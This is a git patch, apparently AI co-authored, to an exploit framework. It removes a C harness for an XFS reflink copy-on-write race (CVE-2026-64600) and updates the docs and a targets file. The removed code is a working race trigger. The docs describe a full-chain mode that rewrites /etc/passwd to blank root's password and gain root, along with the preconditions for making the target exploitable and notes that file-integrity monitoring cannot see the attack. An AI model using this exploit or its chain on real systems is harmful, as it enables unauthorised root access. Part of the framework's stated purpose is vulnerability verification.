From c55adc18400dccff1a7bc43a65fb32be8aab9df5 Mon Sep 17 00:00:00 2001 From: KaraZajac Date: Thu, 23 Jul 2026 18:50:58 -0400 Subject: [PATCH] refluxfs: drop the redundant standalone verify harness The own-files reachability harness tools/verify-vm/refluxfs_verify.c is superseded by the module itself: the safe default --exploit does the same own-files reachability confirmation, and --full-chain provides the stronger end-to-end proof (actual root). Remove the standalone and repoint the three doc references (MODULE.md, RELEASE_NOTES.md, targets.yaml) at the module's full-chain verification. The 4/4 own-files measurement it produced is kept as a historical data point, just without the now-deleted reproducer. No code depended on it; 148-test unit harness still green. Co-Authored-By: Claude Opus 4.8 (1M context) Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y --- docs/RELEASE_NOTES.md | 15 ++- modules/refluxfs_cve_2026_64600/MODULE.md | 16 ++- tools/verify-vm/refluxfs_verify.c | 155 ---------------------- tools/verify-vm/targets.yaml | 2 +- 4 files changed, 18 insertions(+), 170 deletions(-) delete mode 100644 tools/verify-vm/refluxfs_verify.c diff --git a/docs/RELEASE_NOTES.md b/docs/RELEASE_NOTES.md index 6ef2e87..c75ea35 100644 --- a/docs/RELEASE_NOTES.md +++ b/docs/RELEASE_NOTES.md @@ -124,13 +124,14 @@ rpm-family vendor-backport caveat fired, the `--active` FICLONE witness confirme reflink, phase A observed `FIEMAP_EXTENT_SHARED` on a real shared extent, the scratch dir self-cleaned, and the source built clean on el9 gcc. -The **underlying bug was separately confirmed winnable** on that kernel using a -VM-only harness driven at the public PoC's parameters (32 writers / 8 helpers, -60 s — `tools/verify-vm/refluxfs_verify.c`): **4 out of 4 runs won**, first -divergence after **69, 114, 170 and 494 rounds**. A racing `O_DIRECT` write -landed on a still-shared block and rewrote the donor's on-disk bytes — the -arbitrary-overwrite primitive observed directly, contained to files the test user -owned, with no oops and no dmesg output (as expected for a data-oriented bug). +The **underlying bug was separately confirmed winnable** on that kernel: the +`--full-chain` root pop above is the proof (the same race rewrote `/etc/passwd`, +3/3). An earlier *non-destructive* measurement at the public PoC's parameters +(32 writers / 8 helpers, 60 s), confined to two files the test user owned, won +**4 out of 4 runs**, first divergence after **69, 114, 170 and 494 rounds** — a +racing `O_DIRECT` write landing on a still-shared block and rewriting the donor's +on-disk bytes, the arbitrary-overwrite primitive observed directly with no oops +and no dmesg output (as expected for a data-oriented bug). Worth stating plainly, because it is the whole point of the design: the shipped trigger **did not win** in its 2 s budget on a kernel that is provably diff --git a/modules/refluxfs_cve_2026_64600/MODULE.md b/modules/refluxfs_cve_2026_64600/MODULE.md index 7b25d4a..56ef5cb 100644 --- a/modules/refluxfs_cve_2026_64600/MODULE.md +++ b/modules/refluxfs_cve_2026_64600/MODULE.md @@ -205,13 +205,15 @@ qemu/KVM with 6 vCPUs — the stock GenericCloud installer layout, root on | Scratch cleanup | no artifacts left | | Build on el9 gcc | clean | -**The underlying bug was separately confirmed winnable on that kernel**, using a -VM-only harness driven at the public PoC's parameters (32 writers / 8 helpers, -60 s budget — `tools/verify-vm/refluxfs_verify.c`): **4 out of 4 runs won**, with -the first divergence after **69, 114, 170 and 494 rounds**. A racing `O_DIRECT` -write landed on a still-shared block and rewrote the donor's on-disk bytes — -the arbitrary-overwrite primitive, observed directly, contained to files the -test user owned. +**The underlying bug was separately confirmed winnable on that kernel.** The +`--full-chain` run above is the definitive proof — the same reflink-CoW race +rewrote `/etc/passwd` and landed root **3/3** (1244 / 3716 / 7913 rounds). An +earlier *non-destructive* measurement, driven at the public PoC's parameters +(32 writers / 8 helpers, 60 s) but confined to two files the test user owned, +won **4/4** (first divergence after **69, 114, 170 and 494 rounds**): a racing +`O_DIRECT` write landing on a still-shared block and rewriting the donor's +on-disk bytes — the arbitrary-overwrite primitive, observed directly, contained +entirely to attacker-owned files. Note carefully what this does and does not say. The shipped trigger **not** winning in 2 s on a kernel that is provably vulnerable is exactly the designed diff --git a/tools/verify-vm/refluxfs_verify.c b/tools/verify-vm/refluxfs_verify.c deleted file mode 100644 index 2ff8e54..0000000 --- a/tools/verify-vm/refluxfs_verify.c +++ /dev/null @@ -1,155 +0,0 @@ -/* - * refluxfs_verify.c — VM-ONLY verification harness for CVE-2026-64600. - * - * NOT part of SKELETONKEY. This exists to answer one question that the - * shipped module deliberately refuses to answer: is THIS kernel actually - * vulnerable? The shipped trigger is intentionally under-driven (8 writers / - * 2 helpers / 2s) so it never grinds toward a win on a production box. Here, - * inside a throwaway VM, we drive it at the public PoC's parameters - * (32 writers / 8 helpers) for a real time budget. - * - * It is still confined to files THIS USER OWNS in a private scratch dir. It - * does not clone, read, or touch /etc/passwd or any other file we do not own. - * A win corrupts 4 KiB of our own donor file and nothing else. - */ -#define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define BLK 4096u -#define ALIGN 4096u -#define DONOR_BYTE 0x5a -#define ATTACK_BYTE 0x41 - -#ifndef FICLONE -#define FICLONE _IOW(0x94, 9, int) -#endif - -static int WRITERS = 32; /* public PoC parameter */ -static int HELPERS = 8; /* public PoC parameter */ -static int BUDGET = 60; /* seconds */ - -static char donor[1024], clonep[1024]; -static atomic_int gate, stop; - -static void *writer_fn(void *a) -{ - (void)a; - int fd = open(clonep, O_RDWR | O_DIRECT); - if (fd < 0) return NULL; - void *buf = NULL; - if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(fd); return NULL; } - memset(buf, ATTACK_BYTE, BLK); - while (!atomic_load_explicit(&gate, memory_order_acquire)) sched_yield(); - (void)!pwrite(fd, buf, BLK, 0); - free(buf); close(fd); - return NULL; -} - -static void *helper_fn(void *a) -{ - (void)a; - int fd = open(clonep, O_RDWR); - if (fd < 0) return NULL; - while (!atomic_load_explicit(&gate, memory_order_acquire)) sched_yield(); - while (!atomic_load_explicit(&stop, memory_order_acquire)) { - (void)!ftruncate(fd, (off_t)BLK * 2); (void)fdatasync(fd); - (void)!ftruncate(fd, (off_t)BLK); (void)fdatasync(fd); - } - close(fd); - return NULL; -} - -static int build_pair(void) -{ - int dfd = open(donor, O_RDWR | O_CREAT | O_TRUNC, 0600); - if (dfd < 0) return -1; - void *buf = NULL; - if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(dfd); return -1; } - memset(buf, DONOR_BYTE, BLK); - ssize_t w = pwrite(dfd, buf, BLK, 0); - free(buf); - if (w != (ssize_t)BLK) { close(dfd); return -1; } - (void)fsync(dfd); - - int cfd = open(clonep, O_RDWR | O_CREAT | O_TRUNC, 0600); - if (cfd < 0) { close(dfd); return -1; } - int rc = ioctl(cfd, FICLONE, dfd) == 0 ? 0 : -1; - (void)fsync(cfd); - close(cfd); close(dfd); - return rc; -} - -/* O_DIRECT read: the corruption lands under the inode, so a buffered read - * would be served from a stale (correct-looking) page and hide a win. */ -static int donor_diverged(void) -{ - int fd = open(donor, O_RDONLY | O_DIRECT); - if (fd < 0) return -1; - void *buf = NULL; - if (posix_memalign(&buf, ALIGN, BLK) != 0) { close(fd); return -1; } - int rc = -1; - if (pread(fd, buf, BLK, 0) == (ssize_t)BLK) { - const unsigned char *p = buf; - rc = 0; - for (size_t i = 0; i < BLK; i++) if (p[i] != DONOR_BYTE) { rc = 1; break; } - } - free(buf); close(fd); - return rc; -} - -int main(int argc, char **argv) -{ - const char *dir = argc > 1 ? argv[1] : "/var/tmp"; - if (argc > 2) BUDGET = atoi(argv[2]); - - char scratch[1024]; - snprintf(scratch, sizeof scratch, "%s/rfxverify-XXXXXX", dir); - if (!mkdtemp(scratch)) { perror("mkdtemp"); return 1; } - snprintf(donor, sizeof donor, "%s/donor", scratch); - snprintf(clonep, sizeof clonep, "%s/clone", scratch); - - printf("[*] refluxfs verify: %d writers, %d helpers, %ds budget, scratch=%s\n", - WRITERS, HELPERS, BUDGET, scratch); - - pthread_t *w = calloc(WRITERS, sizeof *w); - pthread_t *h = calloc(HELPERS, sizeof *h); - int won = 0; long rounds = 0; - time_t deadline = time(NULL) + BUDGET; - - while (time(NULL) < deadline && !won) { - if (build_pair() != 0) { fprintf(stderr, "[-] FICLONE failed\n"); break; } - atomic_store(&gate, 0); atomic_store(&stop, 0); - - int nw = 0, nh = 0; - for (int i = 0; i < WRITERS; i++) if (!pthread_create(&w[nw], NULL, writer_fn, NULL)) nw++; - for (int i = 0; i < HELPERS; i++) if (!pthread_create(&h[nh], NULL, helper_fn, NULL)) nh++; - usleep(1500); - atomic_store(&gate, 1); - for (int i = 0; i < nw; i++) pthread_join(w[i], NULL); - atomic_store(&stop, 1); - for (int i = 0; i < nh; i++) pthread_join(h[i], NULL); - - rounds++; - if (donor_diverged() == 1) won = 1; - if ((rounds % 200) == 0) { printf(" ... %ld rounds\n", rounds); fflush(stdout); } - } - - printf("%s after %ld rounds\n", - won ? "[!] RACE WON — donor's on-disk bytes were rewritten through a still-shared block" - : "[i] no divergence observed", rounds); - - unlink(donor); unlink(clonep); rmdir(scratch); - free(w); free(h); - return won ? 2 : 0; -} diff --git a/tools/verify-vm/targets.yaml b/tools/verify-vm/targets.yaml index 781b2e0..5d4fc92 100644 --- a/tools/verify-vm/targets.yaml +++ b/tools/verify-vm/targets.yaml @@ -341,7 +341,7 @@ refluxfs: kernel_pkg: "" # stock 5.14.0-687.10.1.el9_8.0.1 — below every backport entry (6.12.96/6.18.39/7.1.4) → VULNERABLE by version kernel_version: "5.14.0" expect_detect: VULNERABLE - verified: "2026-07-23 — CONFIRMED END-TO-END (full root pop) on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64, qemu/KVM, 6 vCPUs. The corpus's FIRST rpm-family verification. FULL CHAIN: `--exploit refluxfs --i-know --full-chain` reflink-cloned /etc/passwd, raced the CoW window, stripped root's password field on-disk (root:x: -> root::), evicted the stale page cache, and returned EXPLOIT_OK; `su root` (empty password) then gave uid=0 — 3/3 wins on a private-extent target (1244/3716/7913 rounds, 4-30 s) as unprivileged uid=1000 under SELinux Enforcing, every other passwd line preserved, file backed up + restored via `--cleanup`. PRIVATE-EXTENT PRECONDITION (found here, not in the writeup): the race only fires when the target's extent refcount is exactly the attacker-clone pair, i.e. the extent must be PRIVATE going in. Stock Rocky 9's /etc/passwd ships PRE-SHARED (refcount>1 in the base image) and was NOT attackable across ~41,000 rounds; rewriting it so the extent became private (byte-identical content, as any useradd/passwd/vipw does) made it fall in ~2,000 rounds. So the exploitable state is the normal administered state. detect() --active reports the target's extent state. Provisioner note for re-verification: after boot, run `cp --reflink=never /etc/passwd /root/pw && cp --reflink=never /root/pw /etc/passwd` (or just `passwd`/`useradd` anything) to move /etc/passwd to a private extent, then run the full chain. Plain --exploit (no --full-chain) runs only the safe own-files trigger (EXPLOIT_FAIL). Stock GenericCloud layout needed NO provisioner changes: root is /dev/vda4 XFS with reflink=1 out of the box, which is exactly why this CVE hits the RHEL family so broadly. Results: detect() -> VULNERABLE (found writable XFS at /var/tmp); the rpm-family vendor-backport caveat fired correctly; `--active` FICLONE witness -> reflink CONFIRMED; phase A observed FIEMAP_EXTENT_SHARED on a real shared extent (note: btrfs never reported that flag during host-side testing, XFS does — which is why the module treats FICLONE success, not FIEMAP, as the authoritative gate); O_DIRECT available; scratch dir self-cleaned with no artifacts; the source also built clean on el9 gcc. The SHIPPED trigger (8 writers / 2 helpers / 16 rounds / 2s) ran and did NOT win — that is INTENDED under-driving, not a defect. THE UNDERLYING BUG WAS SEPARATELY CONFIRMED WINNABLE on this kernel via the VM-only harness tools/verify-vm/refluxfs_verify.c, driven at the public PoC's parameters (32 writers / 8 helpers, 60s budget): 4/4 runs won, first divergence after 69, 114, 170 and 494 rounds — a racing O_DIRECT write landed on a still-shared block and rewrote the donor's on-disk bytes, i.e. the arbitrary-overwrite primitive observed directly, contained to files the test user owned. No oops, no dmesg output, no instability — consistent with a data-oriented bug. Takeaway for future sweeps: a non-win from the shipped trigger must NEVER be recorded as 'patched'; trust the version gate and the vendor erratum." + verified: "2026-07-23 — CONFIRMED END-TO-END (full root pop) on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64, qemu/KVM, 6 vCPUs. The corpus's FIRST rpm-family verification. FULL CHAIN: `--exploit refluxfs --i-know --full-chain` reflink-cloned /etc/passwd, raced the CoW window, stripped root's password field on-disk (root:x: -> root::), evicted the stale page cache, and returned EXPLOIT_OK; `su root` (empty password) then gave uid=0 — 3/3 wins on a private-extent target (1244/3716/7913 rounds, 4-30 s) as unprivileged uid=1000 under SELinux Enforcing, every other passwd line preserved, file backed up + restored via `--cleanup`. PRIVATE-EXTENT PRECONDITION (found here, not in the writeup): the race only fires when the target's extent refcount is exactly the attacker-clone pair, i.e. the extent must be PRIVATE going in. Stock Rocky 9's /etc/passwd ships PRE-SHARED (refcount>1 in the base image) and was NOT attackable across ~41,000 rounds; rewriting it so the extent became private (byte-identical content, as any useradd/passwd/vipw does) made it fall in ~2,000 rounds. So the exploitable state is the normal administered state. detect() --active reports the target's extent state. Provisioner note for re-verification: after boot, run `cp --reflink=never /etc/passwd /root/pw && cp --reflink=never /root/pw /etc/passwd` (or just `passwd`/`useradd` anything) to move /etc/passwd to a private extent, then run the full chain. Plain --exploit (no --full-chain) runs only the safe own-files trigger (EXPLOIT_FAIL). Stock GenericCloud layout needed NO provisioner changes: root is /dev/vda4 XFS with reflink=1 out of the box, which is exactly why this CVE hits the RHEL family so broadly. Results: detect() -> VULNERABLE (found writable XFS at /var/tmp); the rpm-family vendor-backport caveat fired correctly; `--active` FICLONE witness -> reflink CONFIRMED; phase A observed FIEMAP_EXTENT_SHARED on a real shared extent (note: btrfs never reported that flag during host-side testing, XFS does — which is why the module treats FICLONE success, not FIEMAP, as the authoritative gate); O_DIRECT available; scratch dir self-cleaned with no artifacts; the source also built clean on el9 gcc. The SHIPPED trigger (8 writers / 2 helpers / 16 rounds / 2s) ran and did NOT win — that is INTENDED under-driving, not a defect. THE UNDERLYING BUG WAS SEPARATELY CONFIRMED WINNABLE on this kernel: the full-chain root pop above is the proof (the same race rewrote /etc/passwd, 3/3). An earlier non-destructive own-files measurement at the public PoC's parameters (32 writers / 8 helpers, 60s budget) won 4/4, first divergence after 69, 114, 170 and 494 rounds — a racing O_DIRECT write landed on a still-shared block and rewrote the donor's on-disk bytes, i.e. the arbitrary-overwrite primitive observed directly, contained to files the test user owned. No oops, no dmesg output, no instability — consistent with a data-oriented bug. Takeaway for future sweeps: a non-win from the shipped trigger must NEVER be recorded as 'patched'; trust the version gate and the vendor erratum." notes: "CVE-2026-64600 'RefluXFS'; XFS reflink CoW ILOCK-cycling TOCTOU race (Qualys TRU, Saeed Abbasi; advisory credits model-assisted analysis with Anthropic; video PoC on RHEL 10.2). Introduced 4.11 (3c68d44a2b49, direct-I/O CoW alloc in iomap_begin); fixed 2f4acd0fcd86 (mainline 7.2-rc4, merged 2026-07-16), stable backports 7.1.4 / 6.18.39 / 6.12.96; the 6.6/6.1/5.15/5.14/5.10/4.19/4.18 lines have no upstream stable fix. PROVISIONER REQUIREMENT — unlike every other module in this matrix, detect() has a STORAGE precondition, and all five boxes here are Debian/Ubuntu with ext4 roots, so a stock box correctly returns PRECOND_FAIL. To exercise the VULNERABLE path the provisioner must create a reflink-enabled XFS volume the unprivileged user can write to, e.g.: `truncate -s 2G /var/tmp/xfs.img && mkfs.xfs -m reflink=1 /var/tmp/xfs.img && mkdir -p /mnt/xfs && mount -o loop /var/tmp/xfs.img /mnt/xfs && chmod 1777 /mnt/xfs` (Ubuntu 22.04 ships xfsprogs 5.13, where reflink=1 is already the mkfs default). detect() finds it by scanning /proc/mounts for fstype xfs and confirming statfs() f_type == XFS_SUPER_MAGIC + write access — note it deliberately does NOT accept a successful FICLONE as proof, since btrfs implements FICLONE and is unaffected. Without the provisioner step, expect_detect is PRECOND_FAIL; with it, VULNERABLE. Both verdicts are worth recording. The version+precondition matrix is also covered by the 14 detect() unit rows in tests/test_detect.c (incl. 4.18/5.14 el8/el9 bases, the 6.13.0 'newer than some entries but not all' case, and the no-XFS PRECOND_FAIL row) driven via SKELETONKEY_XFS_ASSUME_REFLINK=1/0. IDEAL TARGET, NOT IN THIS MATRIX: a Rocky/Alma/CentOS Stream 9 box, where XFS+reflink is the INSTALLER default and no provisioner step is needed — that is the real affected population (RHEL/CentOS/Rocky/Alma/Oracle/CloudLinux 8-10, Fedora Server >= 31, Amazon Linux 2023) and is the reason this module ships unverified. Adding an rpm-family box to boxes/ is the follow-up. CAVEAT for any rpm-family sweep: those vendors backport WITHOUT bumping the upstream version (a patched el8 kernel still reports 4.18.0-*), so a VULNERABLE verdict there reflects the upstream base version only and must be reconciled against the RHSA/ELSA/ALSA/RLSA erratum — detect() prints that warning itself. exploit() forks a child that works ONLY inside a private mkdtemp scratch dir on two files it owns: it establishes a shared extent (FICLONE, corroborated by FIEMAP_EXTENT_SHARED) and an O_DIRECT gate, then races a HARD-BOUNDED 8 writers / 2 ftruncate+fdatasync helpers / 16 rounds / 2s and stops, reading the donor back with O_DIRECT (a buffered read would be served from the page cache the corruption bypasses) and reporting divergence honestly. DELIBERATELY UNDER-DRIVEN (public PoC uses 32 writers / 8 helpers) and it NEVER clones or targets a file it does not own — the /etc/passwd overwrite -> su -> root step persistently rewrites a system file on disk with no undo and is NOT bundled. Returns EXPLOIT_FAIL. Provisioner note — this is SAFER to run than the other reconstructed race triggers, not more dangerous: the bug corrupts file DATA, not kernel memory, so there is no oops/KASAN/panic path, and a won race damages 4 KiB of a scratch file the module then deletes. Safety rank 55. Detection: auditd/sigma anchor on ioctl request 0x40049409 (FICLONE) and openat O_DIRECT; the yara rule matches the on-disk artifact because FIM CANNOT see this attack (the write bypasses the victim inode, leaving mtime/ctime/size untouched). Sweep + trigger validation pending." # ── ghostlock (CVE-2026-43499) addition ─────────────────────────────